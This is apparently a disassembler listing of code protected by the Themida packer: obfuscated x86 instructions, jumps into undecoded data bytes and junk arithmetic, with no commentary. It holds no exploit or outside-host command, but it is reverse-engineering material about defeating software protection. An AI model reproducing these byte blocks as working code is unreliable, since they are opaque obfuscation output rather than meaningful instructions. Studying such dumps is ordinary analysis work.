; ---------------------------------------------------------------------------


loc_54C90B:				; CODE XREF: Themida_:0054F3C8j
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_54A59E
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 4C681h, 34870000h, 0F0215C24h, 0D1C2095Eh, 90E952E2h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C933:				; CODE XREF: Themida_:00549A70j
		push	ebx
		jmp	loc_54C683
; ---------------------------------------------------------------------------
		db 33h,	1Ch, 24h
		dd 33241C31h, 248B241Ch, 24048924h, 0FFE5D5E9h,	241C87FFh
		dd 8956565Ch, 4C681E6h,	0E9000000h, 0FFFFD220h,	8759C801h
		dd 248B2404h, 9CC13824h, 0FFB81AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54C971:				; CODE XREF: Themida_:00550BE8j
		mov	edx, 4F395580h
		jmp	loc_549168
; ---------------------------------------------------------------------------
		db 58h
		dd 0FFE7B6E9h, 4F781FFh, 15D4581h, 0C6835FFEh, 74FF5604h
		dd 0E95E0424h, 0FFFFE9EDh, 54C5C981h, 0FAE92C70h, 89000029h
		dd 74FF241Ch, 8F5B0424h, 71E92404h, 56FFFFC7h, 4BEh, 5EF10100h
		dd 4C181h, 0C330000h, 240C3124h, 5C240C33h, 28CE9h
		db 0
; ---------------------------------------------------------------------------


loc_54C9D1:				; CODE XREF: Themida_:00546AF2j
		push	474Ah
		jmp	loc_546BC9
; ---------------------------------------------------------------------------
		db 66h
		dd 8324048Bh, 148904ECh, 148B5424h, 4C48124h, 57000000h
		dd 1E9CE9h, 0DBEA8100h,	5840ED6Ch, 9A79F281h, 0D6892E76h
		dd 7BC6815Ah, 512E0B6Bh, 66F6BE56h, 0E6810636h,	2B751D93h
		dd 0F795EE87h, 2EECE9D0h, 535D0000h, 0BBh, 89CB2900h, 241C8BD9h
		dd 4104C483h, 8107E1C1h, 851DEC1h, 0A4C1814Ah, 1001505h
		dd 0FF5659CEh, 5E042474h, 0E924048Fh, 0FCFh
; ---------------------------------------------------------------------------


loc_54CA54:				; CODE XREF: Themida_:00547ACAj
		push	4851h
		mov	[esp], eax
		mov	ah, 0CEh
		jmp	loc_5488EB
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 5AD03000h, 252068h, 241C8900h,	0FF8BCCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54CA79:				; CODE XREF: Themida_:005485A2j
		add	ebp, 4
		push	eax
		jmp	loc_54B426
; ---------------------------------------------------------------------------
		db 1, 0E8h, 0E9h
		dd 744h, 4C48358h, 1334E9h, 0EA814200h,	4AD40DC6h, 0B6E9EAD1h
		dd 66000006h, 80DDB151h, 516673EEh, 0CE287EB1h,	0CE285966h
		dd 0FF9672E9h, 0E9C141FFh, 9DC98103h, 813BF377h, 225741E9h
		dd 59C831A2h, 8358C201h, 0FF5202C2h, 5A042474h,	0E924048Fh
		dd 22F0h, 5F98C181h, 45E97D43h,	89000031h, 4C381E3h, 83000000h
		dd 1C8704EBh, 14895C24h, 0B1BCE924h, 8356FFFFh,	3C8904ECh
		dd 945FE924h, 0C158FFFFh, 0C18102E1h, 0DE0AF954h, 0FFC7A8E9h
		dd 0E95366FFh, 80Eh, 0FF2434FFh, 7E92434h, 5B00003Ch, 0FF8859E9h
		dd 241489FFh, 0FFA7A4E9h, 0C7015FFFh, 8B2434FFh, 0C1E92404h
		dd 87FFFFBDh, 0B1E9243Ch, 0BF000018h, 4, 0FF7F49E9h, 7AA7E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CB62:				; CODE XREF: Themida_:00550049j
		pop	dx
		mov	ecx, [esp]
		jmp	loc_54885C
; ---------------------------------------------------------------------------
		dd 57240489h, 0FF9E31E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54CB75:				; CODE XREF: Themida_:00544CAFj
		mov	edi, 0AE8743Dh
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 42A95BAEh
		sub	edi, ebp
		pop	ebp
		xchg	edx, edi
		push	edx
		not	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	edi
		jmp	loc_549024
; ---------------------------------------------------------------------------
		dw 0ED80h
		dd 0E0ED80FFh, 0FFA966E9h, 0ED815DFFh, 10E425Fh, 8102EDC1h
		dd 9A707AEDh, 5DEA89C7h, 7CC7E281h, 89E94E23h, 0FFFFFF92h
		dd 7A3FE930h, 0D4F6FFFFh, 5152E786h, 0F5807AB5h, 4EE58077h
		dd 8884C580h, 0CE8059EEh, 0AE951AEh
		db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CBE7:				; CODE XREF: Themida_:0054C3E2j
		mov	[esp], dx
		mov	dh, 0AEh
		and	cl, dh
		pop	dx
		sub	cl, 8Fh
		xor	al, cl
		pop	ecx
		xor	bl, al
		movzx	eax, al
		jmp	loc_5469C3
; ---------------------------------------------------------------------------
		db 81h,	0F7h, 0Bh
		dd 21F6299Bh, 0E8C15FF8h, 0E9C83118h, 0FFFFB228h, 68241489h
		dd 0A84h, 89242C89h, 0ECB9E9C5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CC26:				; CODE XREF: Themida_:00550990j
		mov	[esp], ebp
		jmp	loc_550A48
; ---------------------------------------------------------------------------
		dw 6856h
		dd 48A4557Ah, 9943E95Eh, 7EB2FFFFh, 0FF8646E9h,	795F68FFh
		dd 2C890000h, 30EBD24h,	0D5F73582h, 11C9C581h, 0EE296185h
		dd 3972E9h, 4EC8300h, 0FFC819E9h, 59CE29FFh, 0FF8121E9h
		dd 4BF57FFh, 1000000h, 0E904247Ch, 0FFFFBC5Ah, 2EE9E0D1h
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------


loc_54CC83:				; CODE XREF: Themida_:00550AE1j
		mov	esi, [esp]
		jmp	loc_54F80B
; ---------------------------------------------------------------------------
		db 5Bh
		dd 8030C380h, 0EB2806EBh, 8006C380h, 8B6630EBh,	0C483240Ch
		dd 119AE902h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54CCA6:				; CODE XREF: Themida_:00545FB4j
		mov	ebx, [esp]
		add	esp, 4
		mov	esi, eax
		pop	eax
		push	eax
		push	ecx
		mov	ecx, 344B6E96h
		mov	eax, 0D6C2D9E8h
		add	eax, ecx
		pop	ecx
		sub	esi, eax
		pop	eax
		jmp	loc_546F90
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0C481240Ch, 2, 0EE80D6F6h, 8BF028FAh, 0C4812414h, 4
		dd 52535152h, 20E9A4B2h, 0B2000039h, 0EBE5E99Ch, 0F331FFFFh
		dd 340EE95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54CCFA:				; CODE XREF: Themida_:0054E826j
		mov	[esp], ebx
		push	edi
		jmp	loc_54DEEC
; ---------------------------------------------------------------------------
		db 0C1h
		dd 494107E9h, 0A1F9F181h, 0C8295200h, 0C03E9h, 34C38100h
		dd 0E9070DF8h, 0FFFFA109h, 83C9E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CD26:				; CODE XREF: Themida_:005493E4j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	3E2h
		mov	[esp], ecx
		push	eax
		jmp	loc_550621
; ---------------------------------------------------------------------------
aRsc2		db 'RИ√2',0
		dw 8900h
		dd 0A2682414h, 8900003Eh, 66B82404h, 40649278h,	453EF60Dh
		dd 8AD1E93Dh, 0EA81FFFFh, 3BE60E85h, 5BE9D029h,	1000006h
		dd 0E3E95DEBh, 4A000011h, 373CC281h, 0C2814AF2h, 9E54BA3Eh
		dd 835AD301h, 48904ECh,	2BA5224h, 0E9000000h, 0FFFFF24Eh
		dd 66E9E8D0h
		db 91h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CD9F:				; CODE XREF: Themida_:0054A76Cj
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_54E21B
; ---------------------------------------------------------------------------
		dw 0E8C1h
		dd 5E0C106h, 0C3230E2Dh, 0D006E9FCh, 8159FFFFh,	4C1h, 531F6800h
		dd 4890000h, 3B61B824h,	55954483h, 5D2414F7h, 0C49C3595h
		dd 0C101BB7Ch, 8124048Bh, 4C4h,	5E846800h, 0C890000h, 2474FF24h
		dd 240C8B04h, 0FFB976E9h, 33E957FFh, 0FF00002Dh, 0F2E92434h
		dd 68000004h, 2F99h, 83242489h,	0FF042404h, 835E2434h
		dd 5E6804C4h, 89000036h, 4B82404h, 1000000h, 78E958C6h
		dd 0BB000004h, 7EE23F67h, 0D2E9D801h, 8BFFFFD1h, 0C6E92424h
		dd 5CFFFF77h, 405h, 20500h, 0E9E90000h
		db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CE53:				; CODE XREF: Themida_:005461CFj
		sub	edi, 6F7F08F1h
		sub	edi, 55C6AD3h
		add	edi, edx
		add	edi, 55C6AD3h
		push	eax
		mov	eax, 6F7F08F1h
		jmp	loc_54C16D
; ---------------------------------------------------------------------------
		dw 4481h
		dd 111F0424h, 0CAE9124Ch, 8BFFFF9Ah, 34892424h,	2474FF24h
		dd 2434FF04h, 4C4815Eh,	8F000000h, 665C2404h, 66241489h
		dd 66E99C50h, 81FFFF77h, 4C2h, 24148700h, 16C5815Ch, 8912FBE4h
		dd 0E3815DEBh, 4EA10FFBh, 0C32E9h, 43D3F700h, 93A4C381h
		dd 0DE99F1Dh, 8300002Ch, 1C8704EBh, 14895C24h, 57E28924h
		dd 5E648668h, 12E95F47h, 68FFFFCFh, 4E5Ch, 89243C89h, 4C781E7h
		dd 53000000h, 0C6E95052h, 81FFFF7Ch, 0FFFFFFC2h, 0EBE957FFh
		dd 89FFFFADh, 405E0h, 4050000h,	87000000h, 515C2404h, 685A26B9h
		dd 0DFF1812Bh, 0F71F3877h, 5E1C1D9h, 0B850D9F7h, 33190C67h
		dd 6FE94040h, 31FFFFFEh, 0FA015EF7h, 0E9243C8Bh, 2A3Bh
		dd 24048B66h, 201FE953h, 0FF570000h, 5F042474h,	5C24048Fh
		dd 0E9240431h, 0FFFF76A5h, 0AF62F181h, 3DE91A70h, 58FFFFCFh
		dd 0FFD96EE9h, 4C481FFh, 8B000000h, 0C483240Ch,	0CDBAE904h
		dd 0F931FFFFh, 59CA895Fh, 565AD601h, 471E9h
		db 0
; ---------------------------------------------------------------------------


loc_54CF95:				; CODE XREF: Themida_:0054A599j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		sub	bl, al
		add	bl, 0Ah
		add	bl, 8Ch
		push	2143h
		jmp	loc_54894F
; ---------------------------------------------------------------------------
		db 87h,	3Ch, 24h
		dd 240C895Ch, 0A43DBDB9h, 8BCB2957h, 8956240Ch,	3EE957E6h
		db 7Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CFD3:				; CODE XREF: Themida_:005473A6j
		mov	[esp], eax
		xchg	ecx, [esp]
		not	ecx
		xchg	ecx, [esp]
		push	dword ptr [esp]
		pop	eax
		push	11F8h
		mov	[esp], edx
		jmp	loc_54645D
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481240Ch, 4, 15C568h, 241C8900h, 0EC81E389h, 4, 57240C89h
		dd 4BFh, 0A5E7E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D016:				; CODE XREF: Themida_:005452EAj
		mov	esp, [esp]
		sub	ebx, 771E676Fh
		push	esi
		mov	esi, 2EED506Ch
		sub	ebx, esi
		pop	esi
		sub	ebx, 5F5E064Ch
		add	ebx, 3CEA05F7h
		jmp	loc_549D86
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 9Eh
		dd 892CA12Eh, 0D0E95EF7h, 66FFFF7Ah, 0E955CC68h, 0FFFFB0E6h
		dd 76DFA05h, 2DF0016Dh,	6D076DFAh, 78ECBA52h, 0D0011D44h
		dd 1E40E9h, 4EE8300h, 2095E9h, 4C48300h, 9C240409h, 0FF758CE9h
		dd 2536BFFFh, 0E94F7264h, 0FFFF99BBh, 3DBDBE56h, 0F30157A4h
		dd 0E924348Bh, 0FFFF7C1Ch, 37E95F54h, 81FFFFC2h, 63867DEBh
		dd 8BDA212Eh, 0C481241Ch, 4, 34EFE9h, 3C335A00h, 243C3124h
		dd 672E9h, 0F3C38100h, 1FE5FE1h, 0B8505BD9h, 4CA94C44h
		dd 4EC8153h, 89000000h,	6850243Ch, 64EA734Eh, 2DD8F758h
		dd 55F12032h, 0BE15B82Dh, 585F5031h, 84E9FB89h,	0BFFFFF8Fh
		dd 670B0BF8h, 6D4EF781h, 0F989688Eh, 0D55E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54D10A:				; CODE XREF: Themida_:00550121j
		not	edi
		add	edi, 3F9E23A3h
		jmp	loc_5477F0
; ---------------------------------------------------------------------------
		db 0BAh
		dd 73885D58h, 608DF281h, 0CA8162E6h, 2B341886h,	36BAC281h
		dd 814258BEh, 8912F3C2h, 7CF28158h, 8150F509h, 467595E9h
		dd 81D12976h, 467595C1h, 7E95A76h, 89FFFFE5h, 0E6892434h
		dd 1A89E9h, 0EA814A00h,	0F1CB950Eh, 0DEE9D689h,	0C1FFFFECh
		dd 0C18103E9h, 0E3065C15h, 5259CD01h, 4B95BD55h, 0F5815CC4h
		dd 3E2027F1h, 535DEA89h, 0FFCA3AE9h, 5FF801FFh,	75AD68h
		dd 243C8900h, 0D0B85055h, 0BD6A3566h, 10795728h, 8102EDC1h
		dd 2B331EF5h, 58C5296Eh, 0ED8E9h, 2DD0F700h, 2250290Bh
		dd 3411BF57h, 6CE93D3Fh
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54D1C3:				; CODE XREF: Themida_:0054E5BEj
		mov	ebp, 304071C1h
		sub	esi, ebp
		pop	ebp
		jmp	loc_54813F
; ---------------------------------------------------------------------------
		dd 2E10262Dh, 0BB535D65h, 2, 8C6DC32Dh,	0E9D82957h, 0FFFFDAC2h
		dd 526866ACh, 0D120E929h, 5568FFFFh, 0E9000068h, 0FFFFDAA4h
; ---------------------------------------------------------------------------


loc_54D1FC:				; CODE XREF: Themida_:00550B55j
		pop	ebx
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ecx
		push	0FFFFh
		jmp	loc_5482B1
; ---------------------------------------------------------------------------
		db 80h
		dd 0EFC0CCEFh, 0ECF78007h, 28F6EF80h, 241C8BF8h, 0FF81BCE9h
		dd 32C281FFh, 13BE900h,	32EA81EAh, 813BE900h, 0E30F33C2h
		dd 242C8B56h, 4C481h, 0C2830000h, 24143302h, 0FF8ABEE9h
		dd 5BD800FFh, 0C78BE952h, 5405FFFFh, 152E14Dh, 4D542DF8h
		dd 535F52E1h, 15F7E9h, 739BE900h, 0EC80FFFFh, 0B3B151D8h
		dd 59CB00h, 0B3EB80E3h,	8124048Bh, 4C4h, 14EB8000h, 0B652C300h
		dd 11C68054h, 0E99E9h
		db 0
; ---------------------------------------------------------------------------


loc_54D295:				; CODE XREF: Themida_:005496A3j
		sub	ebp, ebx
		pop	ebx
		jmp	loc_54F3C5
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 0A7E95024h, 51000019h, 2B9h,	48EE8100h, 104F341h, 48C681CEh
		dd 5904F341h, 0FFCADEE9h, 1651BAFFh, 0F281382Fh, 196A1C8Bh
		dd 0E95AD621h, 0FFFFDCCCh
; ---------------------------------------------------------------------------


loc_54D2D4:				; CODE XREF: Themida_:00549A64j
		add	dword ptr [esp+4], 3F21082Eh
		push	dword ptr [esp]
		pop	edx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_54C143
; ---------------------------------------------------------------------------
aXh8o		db 'Xh8o',0
		dw 8900h
		dd 0E789243Ch, 4BD55h, 0EF010000h, 0AEE9525Dh, 54000009h
		dd 4C6815Eh, 0E9000000h, 0FFFFE635h
; ---------------------------------------------------------------------------


loc_54D320:				; CODE XREF: Themida_:0054F684j
		and	edi, 30C2242Bh
		push	ebp
		sub	esp, 4
		jmp	loc_54BA64
; ---------------------------------------------------------------------------
		dw 0C388h
		dd 0FFA3C0E9h, 241489FFh, 0FF7ABAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D341:				; CODE XREF: Themida_:005497B5j
		xchg	ebx, [esp]
		pop	esp
		push	dword ptr [esp]
		jmp	loc_54B578
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0E1863AB1h, 0E186D4F6h, 0E98AF180h, 0FFFFA3EDh, 4C6815Eh
		dd 83000000h, 348704EEh, 24895C24h, 24048124h, 4, 5224148Bh
		dd 0C281E289h, 4, 4C281h, 6BE90000h, 6600001Ch,	51240C8Bh
		dd 24E95954h, 68FFFFAFh, 5DCh, 53240C89h, 0FFD94BE9h, 0F7665CFFh
		dd 9E97E9E1h, 0EA81FFFFh, 0C3AD7EDFh, 0F75AD509h, 81DDF7DDh
		dd 724644F5h, 2A9FE91Ch, 148B0000h, 4C48124h, 68000000h
		dd 5DF9h, 53242C89h, 40C6768h, 241C8B2Ch, 81E68956h, 4C6h
		dd 4C68300h, 0FFCA1CE9h, 48B66FFh, 1BDF6824h, 4890000h
		dd 0A90CE924h, 74FFFFFFh, 8F5E0424h, 0E95C2404h, 0FFFFD445h
; ---------------------------------------------------------------------------


loc_54D414:				; CODE XREF: Themida_:0055063Ej
		pop	esi
		add	eax, 0B342C82h
		mov	ecx, eax
		pop	eax
		xor	eax, ecx
		pop	ecx
		mov	ebx, eax
		pop	eax
		and	eax, ebx
		pop	ebx
		or	edx, eax
		jmp	loc_5506C1
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 4
		dd 68000000h, 1062h, 0FFDBA2E9h, 25F168FFh, 14890000h
		dd 59A7BA24h, 0D2E92394h, 29FFFFD2h, 240C8BC8h,	4C481h
		dd 0AEE90000h, 0ADFFFFB2h, 19B3BE56h, 0C6813BBCh, 53D24EB6h
		dd 51A4C681h, 0CE810AECh, 0B5C5C44h, 0FF9774E9h, 876859FFh
		dd 8900005Dh, 4BD242Ch,	1000000h, 34335DEEh, 24343124h
		dd 607E9h, 0B2BF5700h, 0C1756263h, 2FE906EFh, 89FFFFA0h
		dd 5A542414h, 4EC8355h,	68241C89h, 20C33367h, 0F857E95Bh
		dd 0C8BFFFFh, 4C48324h,	71E468h, 240C8900h, 770BE957h
		dd 37B9FFFFh, 8141C224h, 7606BFE9h, 0C981417Ah,	66C11761h
		dd 0FFFC7EE9h, 28F64FFh, 0FF7118E9h, 242C33FFh,	0D224248Bh
		dd 0E99C243Ch, 0FFFF7109h
; ---------------------------------------------------------------------------


loc_54D500:				; CODE XREF: Themida_:0054F463j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[edi+eax*4+1], ch
		mov	ecx, [esp]
		push	ecx
		jmp	loc_548CF9
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0C68105E6h, 0C1157D44h, 2D5EF001h, 4, 5C240487h, 68241C89h
		dd 5B05h, 0BF243C89h, 3E9A604Fh, 165AE9h, 0CCE98100h, 12EF246h
		dd 2E5E9E9h, 52530000h,	0CAFE9CB2h, 8003EAC0h, 0F28002CAh
		dd 8EA80E6h, 805AD388h,	0C68054C6h, 0E9DE004Dh,	0FFFFD76Ch
		dd 0FFDD3159h, 0E95B2434h, 891h, 4B951h, 0CB010000h, 0FF70A1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D589:				; CODE XREF: Themida_:0054DDB3j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	esi
		mov	esi, 3FAA08B7h
		neg	esi
		jmp	loc_54F607
; ---------------------------------------------------------------------------
		db 29h,	0C2h, 0E9h
		dd 0FFFF8C05h, 186AE948h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54D5AA:				; CODE XREF: Themida_:0054BEC8j
		mov	ecx, 7D590FE3h
		add	eax, 2B02147Bh
		jmp	loc_548004
; ---------------------------------------------------------------------------


loc_54D5B9:				; CODE XREF: Themida_:0054A196j
		push	3D1C7D3Bh
		pop	ebx
		or	ebx, 11714B00h
		jmp	loc_54D828
; ---------------------------------------------------------------------------
		dd offset asc_5BE968	; "ллллллллллллллллллллллллллллллллллллллл"...
		dw 8900h
		dd 70BE2434h, 4E3CE710h, 0D6F7D6F7h, 0F97EE81h,	83BB0821h
		dd 131E5CFh, 24348BF3h,	0A6E95451h, 0C0FFFFD9h,	9DE907E8h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D5FB:				; CODE XREF: Themida_:005493ECj
		xor	ebp, ecx
		pop	ecx
		jmp	loc_54E9A9
; ---------------------------------------------------------------------------
		db 66h
		dd 6824048Bh, 36AFh, 0E9242C89h, 0FFFFD06Eh, 0C981D1F7h
		dd 34031DE5h, 883E981h,	0CB31EF6Bh, 0FFFF47E9h,	0F8315EFFh
		dd 81243C8Bh, 4ECh, 898CE900h, 0FF50FFFFh, 58042474h, 5C24048Fh
		dd 8B2434FFh, 0C4832404h, 0EC835604h, 24248904h, 4240481h
		dd 5E000000h, 4C681h, 0BD550000h, 4, 1DD6EE81h,	0EE011FEAh
		dd 1DD6C681h, 565D1FEAh, 0FFD418E9h, 40E956FFh,	31FFFFE3h
		dd 4FE959CFh, 56000013h, 0FFE529E9h, 6F73E9FFh,	0C381FFFFh
		dd 54F48F97h, 0E95BD901h, 0DD1h, 65E9E089h
		db 6, 2	dup(0)
; ---------------------------------------------------------------------------


loc_54D6AB:				; CODE XREF: Themida_:00549ABAj
		jz	loc_549FBC
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_54836D
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 83E9E189h
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54D6CF:				; CODE XREF: Themida_:0054830Aj
		add	esi, 4
		push	esi
		jmp	loc_54AD14
; ---------------------------------------------------------------------------
		dd 3304EA83h, 14312414h, 24143324h, 0E61CE95Ch,	0B951FFFFh
		dd 919015Ch, 3435E981h,	0C18166E7h, 0C9AB77FEh,	0C159CB29h
		dd 0F38102EBh, 24E63AA2h, 0AC9B951h, 19E94011h,	66FFFFE1h
		dd 6824048Bh, 36A8h, 89243C89h,	4C781E7h, 53000000h, 2C94B850h
		dd 25E91770h, 3300000Eh, 665C243Ch, 68240C8Bh, 4D9Bh, 54243489h
		dd 41BA525Eh, 8130B32Eh, 4CD1C3C2h, 0E9D601CFh,	0FFFF9D28h
; ---------------------------------------------------------------------------


loc_54D758:				; CODE XREF: Themida_:005484A7j
		sub	edx, ebp
		pop	ebp
		jmp	loc_544609
; ---------------------------------------------------------------------------
		dd 158C389h, 0C335BD9h,	240C3124h, 8B240C33h, 50552424h
		dd 0FFB547E9h, 5AD529FFh, 2C8BEF01h, 0C172E924h, 0C481FFFFh
		dd 4, 5A1C5709h, 0E9DD8955h, 0FFFFE3BFh, 0E95EF231h, 0FFFF9321h
		dd 33240C31h, 248B240Ch, 39BB5324h, 81257E37h, 745D7EEBh
		dd 0EB814B59h, 9416F93Dh, 0DD84E952h, 1C87FFFFh, 2C895C24h
		dd 2BD24h, 0E8010000h, 2404875Dh, 0E248E95Ch, 535CFFFFh
		dd 5B3F3BBBh, 245C015Fh, 241C8B04h, 4C481h, 2C810000h
		dd 0AD645724h, 2404815Bh, 294054B3h, 0E9240401h, 0FFFF7527h
		dd 895BDF29h, 6C295FFDh, 0E95D0424h, 0FFFF6DF5h, 24048B66h
		dd 0A04DE952h, 74FFFFFFh, 0E9580424h, 17B0h
; ---------------------------------------------------------------------------


loc_54D828:				; CODE XREF: Themida_:0054D5C5j
		sub	ebx, 3D7D7F37h
		jmp	loc_5447E7
; ---------------------------------------------------------------------------
		db 81h
		dd 0F246CCC1h, 0C1815D2Eh, 4, 31240C33h, 0C33240Ch, 24248B24h
		dd 6804C483h, 7037h, 0FF76B8E9h, 84ED81FFh, 16F1662h, 84C581FDh
		dd 0E96F1662h, 0FFFF9DF2h, 4C48158h, 68000000h,	2DB2h
		dd 81243C89h, 4ECh, 24248900h, 4BD55h, 6C010000h, 8B5D0424h
		dd 0C481243Ch, 4, 4C781h, 0C7830000h, 243C8704h, 0B60F665Ch
		dd 2F686600h, 8939E971h, 0EB81FFFFh, 2A17F7B2h,	0E95BDF89h
		dd 0FFFFC75Bh, 240C8B66h, 0FF72C9E9h, 0E7E95CFFh, 81FFFFD1h
		dd 0CC41BCC2h, 6D2FE940h, 0EC81FFFFh, 4, 53243C89h, 2BBh
		dd 4815300h, 0E311DF24h, 0EF815F01h, 1E311DFh, 0CBC1815Bh
		dd 81458713h, 5214B6C1h, 81F90145h, 5214B6E9h, 0CBE98145h
		dd 0E9458713h, 240Eh, 7DB95159h, 81551D56h, 8540D1E9h
		dd 9CC8E97Ah, 5159FFFFh, 0CF88F188h, 34FF5A59h,	0C4835824h
		dd 9AF78004h, 0FF98BCE9h, 48B66FFh, 2096824h, 4890000h
		dd 8601E924h, 1489FFFFh, 0A38BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D95A:				; CODE XREF: Themida_:005499B2j
		push	esp
		jmp	loc_54DF31
; ---------------------------------------------------------------------------
		dd 0FF505B5Eh, 58042474h, 5C24048Fh, 50C0C380h,	8042B551h
		dd 0CDFEDBC5h, 0D6F6F586h, 0CDFEF586h, 0E94EED80h, 21A1h
		dd 4BFh, 8BFE0100h, 0C483243Ch,	24348704h, 0F0ED815Ch
		dd 0E929D74Eh, 0FFFFC273h, 347BF681h, 0D6F72708h, 1039E952h
		dd 0F5010000h, 0FFC3A9E9h, 0E9D389FFh, 0FFFF9A58h
; ---------------------------------------------------------------------------


loc_54D9C0:				; CODE XREF: Themida_:0054493Bj
		push	eax
		push	esi
		xor	dword ptr [esp], 64CB050Dh
		pop	eax
		jmp	loc_5477A8
; ---------------------------------------------------------------------------
		db 83h
		dd 555204C4h, 6009BCBDh, 0AEB7E940h, 0DEF7FFFFh, 5FA6F681h
		dd 88E912F7h, 5FFFFFA8h, 0A76AE956h, 0D828FFFFh, 932C602Ch
		dd 0B3539B04h, 0A0AEE980h, 0EC81FFFFh, 4, 0FFD411E9h, 0E95351FFh
		dd 0FFFF9AF0h, 654ED35h, 13D1254Ch, 0B4E963E7h,	5CFFFF78h
		dd 24148B66h, 0FFE6A9E9h, 24048FFFh, 2404215Ch,	6BCFE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DA3A:				; CODE XREF: Themida_:0054FAD7j
		add	edx, 0CD57E62Eh
		add	esi, edx
		pop	edx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		inc	ebp
		xchg	ebp, [esp]
		pop	dword ptr [edi+24h]


loc_54DA59:				; CODE XREF: Themida_:loc_545AB1j
		push	ebp
		jmp	loc_54F17A
; ---------------------------------------------------------------------------
		db 33h
		dd 3C31243Ch, 243C3324h, 2424895Ch, 4240481h, 8B000000h
		dd 0C483242Ch, 22386804h, 34890000h, 8F0FE924h,	6658FFFFh
		dd 0EAB450h, 305866E7h,	0AC46E9F8h, 4ABDFFFFh, 0E94C6912h
		dd 0FFFFDE10h, 8B243433h, 5EE92424h, 89FFFF6Bh,	0EE015FFEh
		dd 8BF7895Dh, 0C4812434h, 4, 0FFCF16E9h, 0B60F66FFh, 9C5166C8h
		dd 0FF6B3CE9h, 38E581FFh, 813CA418h, 94357BE5h,	7BF58101h
		dd 89044316h, 0F2815DEAh, 710B25FCh, 4CC7F281h,	79E967B6h
		dd 81FFFFBCh, 680EC0F3h, 32BD685Bh, 0C890000h, 5306824h
		dd 1C890000h, 5574BB24h, 0D9890662h, 59CB215Bh,	0DA50E94Bh
		dd 0C781FFFFh, 4, 4C781h, 3C870000h, 0C4835C24h, 6AD7E904h
		dd 8952FFFFh, 0A0B951E2h, 0E9288854h, 0FFFF7CA6h
; ---------------------------------------------------------------------------


loc_54DB40:				; CODE XREF: Themida_:0054F6D9j
		inc	byte ptr [esp]
		pushf
		jmp	loc_544609
; ---------------------------------------------------------------------------
		db 0C0h, 0E5h, 6
		dd 5366D5F6h, 73E568h, 240C8900h, 0A1E932B1h, 81FFFF9Dh
		dd 306A80E6h, 0EEE815Dh, 81376D1Ah, 704B33EEh, 83D6F71Dh
		dd 0C8904ECh, 1BDDB924h, 57494AECh, 1BFh, 0BB6BE900h, 575BFFFFh
		dd 7567BB53h, 0DF893D80h, 81D7F75Bh, 8109F9F7h,	2EF8150h
		dd 47207444h, 3F5CEF81h, 0FB01728Ah, 4EB835Fh, 0FFB30EE9h
		dd 0E28952FFh, 4C281h, 11E90000h, 55FFFFE0h, 4BDh, 0E9EF0100h
		dd 0FFFFAED7h, 242C8B5Bh, 5204C483h, 1DBE9h, 1510BE00h
		dd 0D68726ABh, 0D687D2F7h, 0FFAF7CE9h, 1FF281FFh, 0E9313666h
		dd 0FFFF7299h, 0BA5257h, 89000000h, 0CF295AD7h,	0E95FF989h
		dd 0FFFF6C6Fh, 0BF665750h, 89662E09h, 0C1665FF8h, 576606E0h
		dd 0BD665566h, 896677A9h, 665D66EFh, 5F66F821h,	0BB665366h
		dd 2966F957h, 2F68E9D8h, 74FF0000h, 8F5D0424h, 0E95C2404h
		dd 2669h, 0FEF5B353h, 12E380C3h, 0D00DCB80h, 0A508E9E3h
		dd 0C481FFFFh, 4, 8A62E953h, 8B66FFFFh,	5E92404h, 0C0FFFF7Ah
		dd 0F48005ECh, 87F480AAh, 48BE388h, 0B6A7E924h,	0C181FFFFh
